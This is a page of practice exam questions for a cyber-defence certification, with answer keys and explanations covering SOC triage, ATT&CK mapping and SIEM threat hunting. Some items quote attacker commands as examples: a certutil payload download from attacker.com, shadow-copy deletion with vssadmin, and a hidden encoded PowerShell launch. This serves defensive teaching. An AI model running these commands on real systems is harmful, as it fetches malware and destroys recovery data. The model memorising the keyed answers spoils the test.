I85PREP
⌘ K
Certified CyberDefender Level 2 (CCDL2) preparation study materials
Certified CyberDefender Level 2 (CCDL2) preparation study resources

Certified CyberDefender Level 2 (CCDL2) preparation practice questions

One question at a time. Build your Certified CyberDefender Level 2 (CCDL2) preparation understanding.

First 50 of 190 questions. Each one lists the choices, the correct answer, and an explanation. The checker at the top of this page saves progress in this browser when it is available.

Continue in the practice tool above to load more questions, 50 at a time.

Question 1Security operations, monitoring and response

In a SOC environment, a Tier 1 analyst receives an alert for a suspicious outbound connection on port 443 to an unknown IP. After verifying the IP is flagged as malicious in threat intelligence feeds, what is the MOST appropriate immediate next step?

  1. Escalate to Tier 2/3 with full context, preserve evidence, and initiate the incident response process Correct answer.
  2. Block the IP at the firewall and close the alert as resolved
  3. Notify the end user and ask them to restart their machine
  4. Wait 24 hours to gather more alerts before taking action

Explanation

Escalating to a higher-tier analyst while preserving evidence follows the incident response lifecycle. Tier 1 analysts should collect context (endpoint, user, timeline, traffic logs) and escalate rather than independently applying remediations that could destroy forensic evidence or cause alert fatigue if incorrectly handled.

Question 2Security operations, monitoring and response

A security analyst investigates a phishing email. The email's Return-Path header differs from the From header, and SPF fails. Which email authentication mechanism is specifically designed to prevent domain spoofing by publishing allowed sending IP ranges in DNS?

  1. DKIM
  2. DMARC
  3. SPF Correct answer.
  4. MX records

Explanation

SPF publishes authorized sending information for the relevant envelope-sender domain and receiver evaluation. A difference between visible From and Return-Path can be legitimate. SPF alone does not authenticate every visible From identity or prove that a message is harmless; alignment and other evidence remain distinct.

Question 3Security operations, monitoring and response

In MITRE ATT&CK, which tactic encompasses the use of scheduled tasks, registry run keys, and DLL side-loading to maintain access after a system reboot?

  1. Persistence Correct answer.
  2. Execution
  3. Privilege Escalation
  4. Defense Evasion

Explanation

Persistence (TA0003) in MITRE ATT&CK covers all techniques that allow adversaries to maintain their foothold after system interruptions such as reboots, credential changes, or process terminations. Scheduled tasks (T1053), registry run keys (T1547.001), and DLL side-loading (T1574.002) are all sub-techniques under the Persistence tactic.

Question 4Security operations, monitoring and response

A network defender reviewing firewall logs sees massive volumes of SYN packets from many source IPs targeting a single server on port 80, with no corresponding SYN-ACK completions. What attack is occurring, and what is the recommended mitigation at the perimeter?

  1. SYN flood DDoS; enable SYN cookies on the server or upstream scrubbing Correct answer.
  2. ARP spoofing; deploy 802.1X authentication
  3. DNS amplification; block UDP port 53 at the perimeter
  4. BGP hijacking; implement RPKI route origin validation

Explanation

A SYN flood is a volumetric denial-of-service attack that exhausts the server's TCP half-open connection table by sending SYN packets without completing the three-way handshake. SYN cookies (RFC 4987) mitigate this by eliminating the half-open state requirement on the server. Upstream DDoS scrubbing centers can absorb the volumetric component before it reaches the target.

Question 5Security operations, monitoring and response

During a perimeter defense review, an analyst examines Snort/Suricata IDS rules. What does the `content` keyword followed by `nocase` do in a Suricata rule?

  1. It disables content inspection for performance optimization
  2. It matches only if the content is NOT present in the packet
  3. It performs a case-insensitive match on the specified byte pattern Correct answer.
  4. It restricts the match to the HTTP content-type header only

Explanation

In Suricata and Snort rule syntax, the `nocase` modifier applied to a `content` keyword makes the pattern match case-insensitive. This is critical for detecting attacks that vary the casing of strings (e.g., HTTP method, command strings) to bypass case-sensitive detection rules, a common evasion technique.

Question 6Security operations, monitoring and response

A Nessus vulnerability scan on the perimeter reveals a host running an unpatched Apache Struts version vulnerable to CVE-2017-5638 (remote code execution via the Content-Type header). What is the CVSS v3 criticality level of this vulnerability?

  1. Medium (CVSS 5.0–6.9)
  2. High (CVSS 7.0–8.9)
  3. Critical (CVSS 9.0–10.0) Correct answer.
  4. Low (CVSS 0.1–3.9)

Explanation

CVE-2017-5638, exploited in the Equifax breach, has a CVSS v3 base score of 10.0 (Critical). It allows unauthenticated remote code execution through a maliciously crafted Content-Type header value in HTTP requests. No authentication, no user interaction, and full system compromise make it the maximum severity rating in CVSS v3.

Question 7Security operations, monitoring and response

In threat intelligence, what does the term 'TTPs' stand for, and why are TTPs considered more valuable than IOCs for long-term detection?

  1. Threat Targeting Parameters; they identify specific malware families more accurately than hashes
  2. Technical Threat Profiles; they describe the attacker's tooling but are less actionable than IP blocklists
  3. Threat Tracking Protocols; they provide network-layer detection rules that IOCs cannot
  4. Tactics, Techniques, and Procedures; TTPs represent attacker behavior that remains stable over time, whereas IOCs (IPs, hashes, domains) change frequently Correct answer.

Explanation

TTPs (Tactics, Techniques, and Procedures) describe the adversary's methods and behaviors, as categorized in frameworks like MITRE ATT&CK. Unlike IOCs (IP addresses, file hashes, domains) which attackers can trivially change (infrastructure rotation), TTPs represent higher-level behaviors (e.g., using LOLBAS for persistence) that require significant effort to alter. Detecting TTPs provides durable, attacker-agnostic detection.

Question 8Security operations, monitoring and response

An analyst reviewing firewall logs observes that an attacker has been performing port scanning using SYN packets with no follow-up packets (stealth scanning). Which nmap flag generates this type of half-open scan?

  1. -sV
  2. -sA
  3. -sU
  4. -sS Correct answer.

Explanation

nmap -sS performs a TCP SYN (half-open) scan. The scanner sends a SYN packet and waits for a SYN-ACK (open port) or RST (closed port) without completing the three-way handshake. This avoids creating a full connection and may not be logged by applications. Defenders can detect it by its characteristic pattern of SYN packets without corresponding ACKs from the scanner.

Question 9Security operations, monitoring and response

An IDS analyst sees a Snort alert: 'SHELLCODE x86 inc ecx NOOP'. This rule fires on a long sequence of 0x41 bytes in network traffic. What attack component does this detect?

  1. A SQL injection payload in an HTTP request body
  2. A DNS-over-HTTPS request to a known malicious resolver
  3. A Base64-encoded PowerShell command
  4. A NOP sled preceding shellcode in an exploit payload Correct answer.

Explanation

A NOP (No Operation) sled is a series of harmless instructions (e.g., 0x90 for NOP, or 0x41 for INC ECX on x86) prepended before shellcode in exploit payloads. It gives the instruction pointer a wide 'landing zone' to slide into the shellcode regardless of minor address variations. IDS rules detecting long repeated byte sequences target this anti-ASLR technique.

Question 10Security operations, monitoring and response

Which network security concept describes a security architecture where no user or device is trusted by default, even inside the corporate network perimeter?

  1. Defense in Depth
  2. Zero Trust Architecture Correct answer.
  3. Demilitarized Zone (DMZ) segmentation
  4. Network Access Control (NAC)

Explanation

Zero Trust Architecture (ZTA) is built on the principle 'Never trust, always verify.' Every access request is authenticated, authorized, and continuously validated regardless of network location (inside or outside the perimeter). It uses micro-segmentation, least-privilege access, MFA, and continuous monitoring. NIST SP 800-207 defines the Zero Trust framework adopted by major enterprise security programs.

Question 11Security operations, monitoring and response

A SOC analyst monitoring Microsoft Sentinel sees an alert based on Analytic Rule detecting 'Rare process via scheduled task on high-value host'. This is an example of which detection approach?

  1. Signature-based detection using hash matching
  2. Behavior-based (anomaly) detection identifying deviations from a baseline of normal process execution patterns Correct answer.
  3. Threat intelligence enrichment blocking known-malicious IPs
  4. File integrity monitoring detecting unauthorized file changes

Explanation

Behavior-based (anomaly) detection establishes a baseline of normal activity and alerts when deviations occur - in this case, an unusual process spawning from a scheduled task on a critical server. Unlike signature-based detection (which requires prior knowledge of malware), behavior-based detection can identify novel or fileless threats that exhibit anomalous behavior patterns even with no known IOC.

Question 12Security operations, monitoring and response

A malware analyst discovers that a sample implements a Domain Generation Algorithm (DGA) using the current date as the seed. What defensive technique directly mitigates DGA-based C2 communication at scale?

  1. Blocking outbound TCP port 443
  2. Implementing a DNS firewall (RPZ) that sinkhole-resolves DGA-generated domains using predictive DGA emulation or threat intelligence feeds Correct answer.
  3. Disabling all external DNS queries and using internal resolvers only
  4. Implementing MAC address filtering on the perimeter firewall

Explanation

DNS Response Policy Zones (RPZ) allow resolvers to redirect, block, or log queries for specified domains. When combined with threat intelligence or DGA prediction (emulating the DGA algorithm to pre-compute future domains), RPZ can sinkhole-resolve DGA domains to null or monitoring infrastructure before the malware connects. This is the most scalable and effective DGA mitigation at the network perimeter.

Question 13Security operations, monitoring and response

During a post-incident review, a CISO asks how to reduce the Mean Time to Detect (MTTD) future intrusions. Which control has the MOST direct impact on reducing MTTD?

  1. Purchasing cyber insurance to transfer financial risk
  2. Improving logging coverage (endpoint, network, authentication) and deploying behavioral SIEM rules with automated alerting Correct answer.
  3. Increasing the password complexity requirements for all users
  4. Conducting annual security awareness training

Explanation

MTTD measures how quickly a security team detects an intrusion after it occurs. Improving logging coverage ensures that attacker activity generates telemetry, and behavioral SIEM rules with automated alerting reduce the human analysis latency required to surface incidents. These two factors directly compress MTTD by ensuring observable signals are collected and surfaced automatically rather than discovered manually weeks later.

Question 14Security operations, monitoring and response

An enterprise deploys a SIEM with 150 detection rules but receives 5,000 alerts per day. 98% are false positives. What is this phenomenon called, and what is the primary mitigation strategy?

  1. Alert amplification; resolved by adding more detection rules to cover gaps
  2. Alert fatigue; mitigated by tuning rules for lower false-positive rates, implementing SOAR for automated triage, and prioritizing high-fidelity rules Correct answer.
  3. Log correlation failure; resolved by increasing log ingestion volume
  4. Threat saturation; mitigated by removing the SIEM and relying on endpoint agents only

Explanation

Alert fatigue occurs when analysts receive so many alerts that they cannot effectively investigate them all, leading to missed real incidents. Mitigation requires rule tuning (adjusting thresholds, adding exclusions for known-good activity), SOAR automation for low-complexity triage, and prioritizing high-fidelity rules (low false-positive rate). Quality of detections matters more than quantity of rules.

Question 15Security operations, monitoring and response

A network defender reviews an IDS alert showing a Suricata rule match for 'ET SCAN Nmap Scripting Engine User-Agent Detected'. What technique is the attacker using and what does the NSE in Nmap enable?

  1. The attacker is performing a DoS attack using Nmap flood mode
  2. The attacker is using Nmap Scripting Engine (NSE) for extended scanning - vulnerability detection, service version fingerprinting, or exploitation via Lua scripts Correct answer.
  3. The alert indicates the attacker is using Metasploit's auxiliary scanner modules
  4. The attacker is using curl to download files with the Nmap user-agent spoofed

Explanation

Nmap Scripting Engine (NSE) extends nmap with Lua-based scripts that perform advanced tasks: vulnerability detection (vuln category), service banner grabbing, authentication brute-forcing, and even exploitation. NSE scripts send probe traffic that often includes the 'Nmap Scripting Engine' user-agent string, which IDS rules like the ET signature detect, revealing that the attacker is performing more than basic port scanning.

Question 16Security operations, monitoring and response

A SOC analyst reviewing an Elastic alert for T1046 (Network Service Scanning) finds that an internal host ran 'nmap -sV -p 1-65535 192.168.1.0/24' at 2 AM. What additional context should the analyst gather to correctly classify this as malicious vs. authorized?

  1. Check whether the host is running Windows or Linux, as Linux hosts are authorized to run nmap
  2. Verify whether the scan matches an approved change request or penetration test schedule, and check whether nmap is a managed tool on that host Correct answer.
  3. Block the host immediately since internal scanning is always unauthorized
  4. Review only whether the scanned hosts responded to the probe to determine malicious intent

Explanation

Authorized penetration tests and vulnerability assessments generate traffic indistinguishable from attacker scanning. Analysts must cross-reference alerts with approved change requests, penetration test schedules, and authorized scanner registries. A host running nmap at 2 AM that is not an authorized scanner and has no associated change ticket is highly suspicious; the same activity from an authorized scanner is expected.

Question 17Security operations, monitoring and response

Which listed incident-response activity focuses on limiting an attacker foothold from spreading to additional affected systems?

  1. Containment Correct answer.
  2. Detection and Analysis
  3. Eradication
  4. Post-Incident Activity

Explanation

Containment is the phase where responders act to limit the scope and impact of an incident. It includes isolating affected systems, blocking malicious network traffic, and preventing lateral movement while preserving evidence for subsequent eradication and recovery actions.

Question 18Security operations, monitoring and response

An incident responder identifies that an attacker used LLMNR/NBT-NS poisoning to capture NTLMv2 hashes. Which tool is commonly used to perform this network-based credential harvesting attack?

  1. Responder Correct answer.
  2. Mimikatz
  3. BloodHound
  4. Impacket secretsdump

Explanation

Responder is the canonical tool for LLMNR/NBT-NS poisoning. It responds to broadcast name resolution queries on the local network, tricking clients into authenticating to the attacker's machine and capturing NTLMv2 challenge-response hashes for offline cracking or relay attacks. Defenders should disable LLMNR and NBT-NS in group policy to mitigate this.

Question 19Security operations, monitoring and response

A security analyst investigating lateral movement discovers that an attacker used PsExec to execute commands on a remote host. Which Windows Event ID on the TARGET machine most directly indicates PsExec-style remote service creation?

  1. Event ID 7045 (New Service Installed) Correct answer.
  2. Event ID 4624 (Logon)
  3. Event ID 4648 (Explicit Credentials Logon)
  4. Event ID 4672 (Special Privileges Assigned)

Explanation

PsExec works by copying the PSEXESVC.exe service to the remote host's ADMIN$ share and creating a new Windows service to execute the payload. Event ID 7045 (A new service was installed in the system) in the System event log records this service creation. Hunting for unusual service names appearing alongside network logons (4624 Type 3) is a reliable PsExec detection method.

Question 20Security operations, monitoring and response

An analyst reviews a Suricata alert: ET TROJAN Possible Cobalt Strike Beacon Checkin. The destination port is 443 and the JA3 hash matches a known Cobalt Strike fingerprint. What is the BEST immediate containment action?

  1. Isolate the endpoint from the network while preserving memory and disk images for investigation Correct answer.
  2. Reimage the affected host immediately without any evidence collection
  3. Reset the user's Active Directory password and continue monitoring
  4. Restart the Suricata sensor to clear the alert queue

Explanation

When a Cobalt Strike beacon is confirmed, the endpoint should be isolated (network disconnected) to prevent further C2 communication and lateral movement, while memory and disk images are collected before any remediation. Reimaging without evidence collection destroys forensic artifacts needed to determine scope, dwell time, and attacker TTPs.

Question 21Security operations, monitoring and response

An attacker uses the Impacket tool 'secretsdump.py' remotely against a domain controller. Which Windows event log provides the primary evidence of this DRSUAPI-based credential dumping technique?

  1. Security Event ID 4740 (Account Lockout)
  2. System Event ID 7045 (Service Installation)
  3. Security Event ID 4662 with GUID for the DS-Replication-Get-Changes right Correct answer.
  4. Security Event ID 4673 (Privileged Service Called)

Explanation

secretsdump.py uses the DRSUAPI (Directory Replication Service API) to request AD replication data, the same channel used by domain controllers to replicate credentials. Windows logs this as Event ID 4662 with Object Access for the Replicating Directory Changes (DS-Replication-Get-Changes, GUID 1131f6aa...) right. Monitoring for this from non-DC sources is a DCSync detection method.

Question 22Security operations, monitoring and response

A SOC analyst uses Velociraptor for live endpoint response. Which capability makes Velociraptor particularly suited for large-scale enterprise threat hunting compared to traditional forensic imaging?

  1. Velociraptor can only perform forensic imaging of local drives
  2. Velociraptor integrates with Metasploit for automated exploitation
  3. Velociraptor allows deployment of hunt queries (VQL artifacts) to thousands of endpoints simultaneously without full disk imaging Correct answer.
  4. Velociraptor only runs on Linux endpoints

Explanation

Velociraptor uses VQL (Velociraptor Query Language) artifacts that can be simultaneously deployed to thousands of managed endpoints. Hunters write targeted queries (e.g., find specific registry keys, file hashes, process arguments) and Velociraptor returns results from all endpoints within minutes, enabling enterprise-wide hunts without pulling full disk images - a critical efficiency advantage.

Question 23Security operations, monitoring and response

An incident responder needs to determine if a Windows host was compromised via a web shell on an IIS server. Which artifact would MOST directly confirm web shell execution?

  1. The Windows Registry Run keys
  2. NetBIOS name resolution logs
  3. The Windows Update history log
  4. IIS access logs showing POST requests to unusual .aspx files followed by cmd.exe child processes in Sysmon logs Correct answer.

Explanation

Web shell detection requires correlating IIS W3C access logs (showing POST requests to .aspx/.php files not deployed by the application) with process creation logs (Sysmon Event ID 1) showing cmd.exe, powershell.exe, or whoami.exe spawned as children of w3wp.exe (the IIS worker process). This parent-child relationship is the definitive web shell execution indicator.

Question 24Security operations, monitoring and response

During incident response, a responder uses the SANS Incident Handler's Checklist and identifies that the attacker maintains persistence via a scheduled task. Which command lists all scheduled tasks on a Windows system from a command prompt?

  1. net start
  2. sc query type= all
  3. tasklist /svc
  4. schtasks /query /fo LIST /v Correct answer.

Explanation

`schtasks /query /fo LIST /v` queries all scheduled tasks and outputs them in verbose list format, showing task name, status, run time, action (command executed), and author. This is the primary command for enumerating potentially malicious scheduled tasks used for attacker persistence (T1053.005) on Windows systems during live incident response.

Question 25Security operations, monitoring and response

An incident responder encounters a compromised Windows server where an attacker used WMI (Windows Management Instrumentation) for persistence. Which artifact provides the best evidence of WMI subscription-based persistence?

  1. Windows Task Scheduler XML files in C:\Windows\System32\Tasks\
  2. WMI Repository database files (OBJECTS.DATA) in C:\Windows\System32\wbem\Repository\ Correct answer.
  3. The Security event log Event ID 4698 (Scheduled Task Created)
  4. The AppData\Roaming\Microsoft\Windows\Recent\ ShellBags

Explanation

WMI event subscriptions (EventFilter, EventConsumer, FilterToConsumerBinding) are stored persistently in the WMI repository at C:\Windows\System32\wbem\Repository\. The OBJECTS.DATA file contains the subscription objects. Tools like PyWMIPersistenceFinder and Velociraptor WMI artifacts can parse this database to detect malicious subscriptions that trigger payload execution on events (e.g., every 30 seconds, on logon).

Question 26Security operations, monitoring and response

An incident responder discovers that an attacker gained initial access via a spear-phishing email with a malicious .lnk (shortcut) file attachment that executed PowerShell. Which MITRE ATT&CK techniques are combined in this attack chain?

  1. T1566.001 (Spear Phishing Attachment) + T1059.001 (PowerShell Execution) Correct answer.
  2. T1190 (Exploit Public-Facing Application) + T1078 (Valid Accounts)
  3. T1195 (Supply Chain Compromise) + T1036 (Masquerading)
  4. T1133 (External Remote Services) + T1021.001 (RDP)

Explanation

T1566.001 (Phishing: Spear Phishing Attachment) covers the initial delivery of a malicious attachment to a targeted user. T1059.001 (Command and Scripting Interpreter: PowerShell) covers the execution of PowerShell as the payload launcher triggered by the .lnk file. Chaining an initial access technique with an execution technique is a fundamental attack pattern that incident responders must map to ATT&CK during investigations.

Question 27Security operations, monitoring and response

A DFIR analyst examining a Linux system finds that the attacker modified the /etc/cron.d/ directory to add a persistence mechanism. Which Linux artifact should be analyzed alongside cron to find other common persistence locations?

  1. C:\Windows\System32\drivers\etc\hosts
  2. /etc/rc.local, ~/.bashrc, ~/.bash_profile, and /etc/init.d/ for additional persistence mechanisms Correct answer.
  3. The Windows Registry HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  4. /var/log/kern.log for kernel module loading events

Explanation

On Linux, persistence can be established via multiple mechanisms beyond cron: /etc/rc.local (executes at boot), ~/.bashrc and ~/.bash_profile (execute on interactive shell sessions), /etc/init.d/ and systemd service files (/etc/systemd/system/) for service-based persistence, and LD_PRELOAD for library injection. A thorough Linux IR investigation must check all these locations.

Question 28Security operations, monitoring and response

An analyst identifies that an attacker used 'mshta.exe' to execute a remote HTA file. Which MITRE ATT&CK sub-technique does this represent?

  1. T1059.001 - Command and Scripting Interpreter: PowerShell
  2. T1218.005 - System Binary Proxy Execution: Mshta Correct answer.
  3. T1053.005 - Scheduled Task/Job: Scheduled Task
  4. T1574.002 - Hijack Execution Flow: DLL Side-Loading

Explanation

mshta.exe (Microsoft HTML Application Host) is a signed Windows binary that executes .hta (HTML Application) files, which can embed VBScript or JScript payloads. T1218.005 covers the use of mshta.exe as a proxy to execute attacker-controlled scripts, bypassing application control policies that allow signed Microsoft binaries. It is a well-known LOLBAS technique.

Question 29Security operations, monitoring and response

In a ransomware incident response, the responder discovers the ransomware deleted Shadow Copies using 'vssadmin delete shadows /all /quiet'. Which MITRE ATT&CK technique does VSS deletion represent?

  1. T1490 - Inhibit System Recovery Correct answer.
  2. T1070.004 - Indicator Removal: File Deletion
  3. T1562.001 - Impair Defenses: Disable or Modify Tools
  4. T1485 - Data Destruction

Explanation

T1490 (Inhibit System Recovery) specifically covers adversary actions that prevent victims from recovering from ransomware using built-in backup mechanisms. Deleting Volume Shadow Copies via vssadmin, wmic, or PowerShell is the canonical T1490 example. By eliminating shadow copies, ransomware forces victims to rely on external backups or pay the ransom - the primary mitigation is immutable backups that cannot be deleted by the compromised system.

Question 30Security operations, monitoring and response

An analyst performing forensic triage on a compromised Linux host finds evidence in /proc/<PID>/fd/ for a running malicious process. What does examining /proc/<PID>/fd/ reveal?

  1. The compiled assembly code of the running process
  2. All file descriptors currently open by the process, including network sockets, pipes, and file handles - even for deleted files still held open Correct answer.
  3. The full command-line history of commands run in that process's shell session
  4. The environment variables set at process startup

Explanation

On Linux, /proc/<PID>/fd/ is a directory of symlinks, one per open file descriptor, pointing to the actual file, socket, or device. This reveals everything the process has open: network connections (socket:// entries), log files, pipes, and - crucially - deleted files (which appear as '(deleted)' targets). Deleted malware files that remain open via /proc can be recovered by copying /proc/<PID>/fd/<N> to disk before the process terminates.

Question 31Threat models, structured sharing and evidence-based hunting

A threat hunter analyzing Elastic SIEM logs wants to identify processes that spawned cmd.exe from a browser process (e.g., chrome.exe). Which KQL query pattern correctly targets this parent-child relationship?

  1. process.name: cmd.exe AND process.parent.name: chrome.exe Correct answer.
  2. process.name: cmd.exe AND event.type: start
  3. event.category: process AND process.executable: *cmd*
  4. winlog.event_id: 4688 AND process.name: chrome.exe

Explanation

KQL (Kibana Query Language) in Elastic SIEM supports parent-child process field relationships. The field process.parent.name captures the spawning process, so combining process.name: cmd.exe AND process.parent.name: chrome.exe precisely identifies cmd.exe shells spawned by Chrome - a common living-off-the-land or drive-by compromise indicator.

Question 32Threat models, structured sharing and evidence-based hunting

In Elastic SIEM, a threat hunter wants to detect Kerberoasting activity. Which Windows Security Event ID, combined with a service ticket encryption type of RC4-HMAC (0x17), provides the strongest signal?

  1. Event ID 4624
  2. Event ID 4768
  3. Event ID 4769 Correct answer.
  4. Event ID 4776

Explanation

Windows Event ID 4769 (Kerberos Service Ticket Request) is generated when a TGS (Ticket Granting Service) ticket is requested. When the encryption type field shows 0x17 (RC4-HMAC) for service accounts, this strongly indicates Kerberoasting - attackers request RC4-encrypted TGS tickets to crack offline. Modern environments should use AES (0x12/0x11) instead.

Question 33Threat models, structured sharing and evidence-based hunting

When building a threat hunt hypothesis using the MITRE ATT&CK framework, a hunter suspects attackers are using T1059.001 (PowerShell). Which Elastic SIEM data source provides the BEST telemetry for detecting encoded PowerShell commands?

  1. PowerShell Script Block Logging (Event ID 4104) Correct answer.
  2. Windows Security Event Log (Event ID 4624)
  3. Windows Firewall logs
  4. DNS query logs

Explanation

PowerShell Script Block Logging (Event ID 4104) captures the full decoded content of PowerShell script blocks before execution, including when attackers use -EncodedCommand to obfuscate malicious scripts. It is enabled via Group Policy and is the primary telemetry source for detecting PowerShell-based attacks in Elastic SIEM.

Question 34Threat models, structured sharing and evidence-based hunting

For a supplied Windows process-creation Sigma rule, which listed field records the executable image path, commonly mapped to an ECS process executable field rather than merely its basename?

  1. Image Correct answer.
  2. CommandLine
  3. ParentImage
  4. TargetFilename

Explanation

The supplied Sigma Image field contains the executable path for the relevant event source. Backend mappings depend on the actual pipeline; an ECS executable path is distinct from process.name, which generally denotes a name. Validate field normalization and rule behavior on representative authorized data.

Question 35Threat models, structured sharing and evidence-based hunting

In Elastic SIEM, a hunt for T1003 (OS Credential Dumping) should prioritize which process accessing lsass.exe with a handle that includes PROCESS_VM_READ rights?

  1. Any process not explicitly on the allowlist that opens lsass.exe with VM_READ permissions Correct answer.
  2. svchost.exe
  3. explorer.exe only, since it manages user sessions
  4. Only processes signed by Microsoft

Explanation

T1003 credential dumping from LSASS requires a process to open a handle to lsass.exe with PROCESS_VM_READ (and usually PROCESS_QUERY_INFORMATION). While some legitimate security tools (AV, EDR) may access lsass.exe, any unexpected process with these rights is highly suspicious. Sysmon Event ID 10 (ProcessAccess) captures these handle operations for hunting.

Question 36Threat models, structured sharing and evidence-based hunting

A threat hunter in Elastic SIEM wants to detect beaconing behavior where malware calls home at regular intervals. Which analytical approach is MOST effective?

  1. Calculate the standard deviation of connection intervals per destination IP per host over time Correct answer.
  2. Alert on every connection to an IP that does not appear in the Alexa Top 1M list
  3. Block all connections to IPs with no associated hostname
  4. Look for connections lasting exactly 60 seconds

Explanation

Beaconing malware contacts C2 servers at highly regular intervals, producing a low standard deviation in inter-connection timing. Statistical analysis of connection timing (jitter, periodicity) per host-destination pair over a window of hours/days is the gold standard for beaconing detection, far superior to blocklists or simplistic duration checks. Tools like RITA perform this analysis on Zeek logs.

Question 37Threat models, structured sharing and evidence-based hunting

In Elastic SIEM threat hunting, an analyst wants to detect AS-REP Roasting (T1558.004) against Active Directory. Which Windows event ID should be monitored?

  1. Event ID 4771 with Pre-Authentication failure code 0x18
  2. Event ID 4769 with Ticket Encryption Type 0x17
  3. Event ID 4625 with Failure Reason 0xC000006A
  4. Event ID 4768 with Pre-Authentication type 0x0 Correct answer.

Explanation

AS-REP Roasting targets accounts with 'Do not require Kerberos preauthentication' enabled. When an attacker sends an AS-REQ without preauthentication for these accounts, the KDC returns an AS-REP with an encrypted portion crackable offline. Event ID 4768 (Kerberos Authentication Ticket Request) with Pre-Authentication Type 0x0 (no preauthentication) from unexpected sources indicates AS-REP Roasting.

Question 38Threat models, structured sharing and evidence-based hunting

A threat hunter in Elastic SIEM observes a Windows host running 'powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0A'. What do the -nop, -w hidden, and -enc flags indicate about this PowerShell execution?

  1. -nop disables network access; -w hidden minimizes the window; -enc specifies the encoding type for output
  2. These are standard PowerShell diagnostic flags used in Windows Update scripts
  3. -nop enables non-interactive mode; -w hidden sets priority; -enc enables AES encryption for the session
  4. -nop disables profile loading; -w hidden hides the console window; -enc accepts a Base64-encoded command, all common attacker obfuscation flags Correct answer.

Explanation

-nop (NoProfile) skips loading the PowerShell profile, preventing any custom restrictions; -w hidden (WindowStyle Hidden) conceals the console window from the user; -enc (EncodedCommand) accepts a Base64-encoded command string, obfuscating the actual payload from casual inspection. This combination is a hallmark of attacker-launched PowerShell one-liners and is included in many detection rules.

Question 39Threat models, structured sharing and evidence-based hunting

A threat hunter wants to detect Pass-the-Hash (PtH) attacks in Elastic SIEM. Which combination of Windows event characteristics is the MOST reliable indicator?

  1. Event ID 4625 (failed logon) with Logon Type 3 from a workstation IP
  2. Event ID 4720 (user account created) on a domain controller
  3. Event ID 4768 with Pre-Authentication type 0x0 from a domain controller
  4. Event ID 4624 (successful logon) with Logon Type 3, NTLMSSP authentication, and a workstation account as source on a target server Correct answer.

Explanation

Pass-the-Hash leverages a captured NTLM hash to authenticate to remote hosts without knowing the plaintext password. It generates Event ID 4624 with Logon Type 3 (network), using NTLMSSP authentication package. When the source is a workstation (not a server/DC) authenticating to another server using a privileged account with NTLM (instead of Kerberos), this is a strong PtH indicator, especially if Kerberos is not used where it should be.

Question 40Threat models, structured sharing and evidence-based hunting

A SOC team establishes a 'threat hunting hypothesis' before beginning a hunt. Which of the following is a well-formed hunt hypothesis grounded in MITRE ATT&CK?

  1. We think there might be an attacker on our network somewhere
  2. Adversaries are using T1218.011 (Rundll32) to execute malicious DLLs; we will hunt for rundll32.exe processes with unusual parent processes or DLL paths not in System32 Correct answer.
  3. We will search all logs for any errors in the past 30 days
  4. We will block all PowerShell execution on all endpoints immediately

Explanation

A well-formed threat hunt hypothesis is specific, testable, and grounded in adversary intelligence (ATT&CK TTPs). It specifies the technique (T1218.011 Rundll32), the expected observable (unusual parent process, non-System32 DLL path), and the data source to query. Vague hypotheses produce unfocused hunts; blocking rather than investigating skips the intelligence-gathering value of hunting.

Question 41Threat models, structured sharing and evidence-based hunting

Which Windows LOLBAS (Living Off the Land Binary and Script) technique uses certutil.exe to download a remote file?

  1. certutil.exe /encode file.exe file.b64
  2. certutil.exe -urlcache -split -f http://attacker.com/payload.exe payload.exe Correct answer.
  3. certutil.exe -verify -urlfetch http://attacker.com/cert.cer
  4. certutil.exe -addstore Root malicious.cer

Explanation

certutil.exe with `-urlcache -split -f` is a well-known LOLBAS technique (T1105) that downloads a file from a remote URL to the local filesystem using the built-in Windows Certificate Utility binary. Because certutil.exe is a Microsoft-signed system binary, it may bypass application whitelisting controls. Defenders should monitor certutil.exe for network connections and file creation events.

Question 42Threat models, structured sharing and evidence-based hunting

A threat hunter analyzing Elastic SIEM logs for T1547.001 (Registry Run Keys) finds an entry pointing to: C:\Users\victim\AppData\Local\Temp\svchost32.exe. What makes this entry suspicious compared to a legitimate Run key entry?

  1. Legitimate Run key entries always point to C:\Program Files\
  2. The executable resides in a user-writable temp directory - a common malware staging location - and the name mimics a legitimate Windows process Correct answer.
  3. Run key entries for non-administrator users are inherently malicious
  4. The path length is too long for a legitimate Windows service

Explanation

Two red flags: (1) %TEMP% (AppData\Local\Temp) is user-writable and frequently used by malware as a staging directory, unlike legitimate software that installs to Program Files or Windows directories; (2) 'svchost32.exe' mimics the legitimate 'svchost.exe' system process (masquerading/T1036). Legitimate software using Run key persistence points to installation directories in protected locations.

Question 43Threat models, structured sharing and evidence-based hunting

A security analyst creates a detection rule in Elastic SIEM using EQL (Event Query Language) to detect a sequence: a command execution followed by a network connection within 5 seconds. Which EQL construct is used for this temporal sequence detection?

  1. A threshold query counting events over a time window
  2. A sequence query with a maxspan parameter specifying the time window between events Correct answer.
  3. A KQL boolean AND filter on two event types
  4. A saved search with a custom time range filter

Explanation

EQL (Event Query Language) supports `sequence` blocks that link multiple events in order with a `maxspan` parameter defining the maximum allowed time between events. For example: `sequence by process.pid [process where process.name == 'cmd.exe'] [network where network.direction == 'outbound'] with maxspan=5s`. This precisely detects attack patterns requiring ordered event correlation - a capability not available in simple KQL boolean queries.

Question 44Threat models, structured sharing and evidence-based hunting

An observed sequence has wscript.exe launching cmd.exe, followed by PowerShell with an encoded command. Which listed malicious-chain hypothesis fits for investigation, without proving the initial delivery vector from this sequence alone?

  1. Binary padding to increase file size and evade AV scanning
  2. Phishing macro or drive-by delivery → VBScript execution → PowerShell stage 2 payload chain Correct answer.
  3. Kernel-mode rootkit installation requiring ring-0 access
  4. SQL injection that achieved remote code execution via xp_cmdshell

Explanation

wscript.exe executes Windows Script Host files (VBScript .vbs, JScript .js), commonly delivered via phishing emails or drive-by downloads. Malicious macros or HTA files often drop and execute .vbs scripts via wscript.exe, which then spawn cmd.exe and subsequently PowerShell for a second-stage payload download or execution. This multi-interpreter execution chain (T1059.005 → T1059.001) is a hallmark of commodity malware and APT campaigns alike.

Question 45Filesystem, memory, network and timeline evidence

In the stated Volatility 3 Windows-memory workflow, which listed plugin scans network-connection objects, with recovered entries requiring validation against the image and OS context?

  1. windows.netscan Correct answer.
  2. windows.pslist
  3. windows.cmdline
  4. windows.dlllist

Explanation

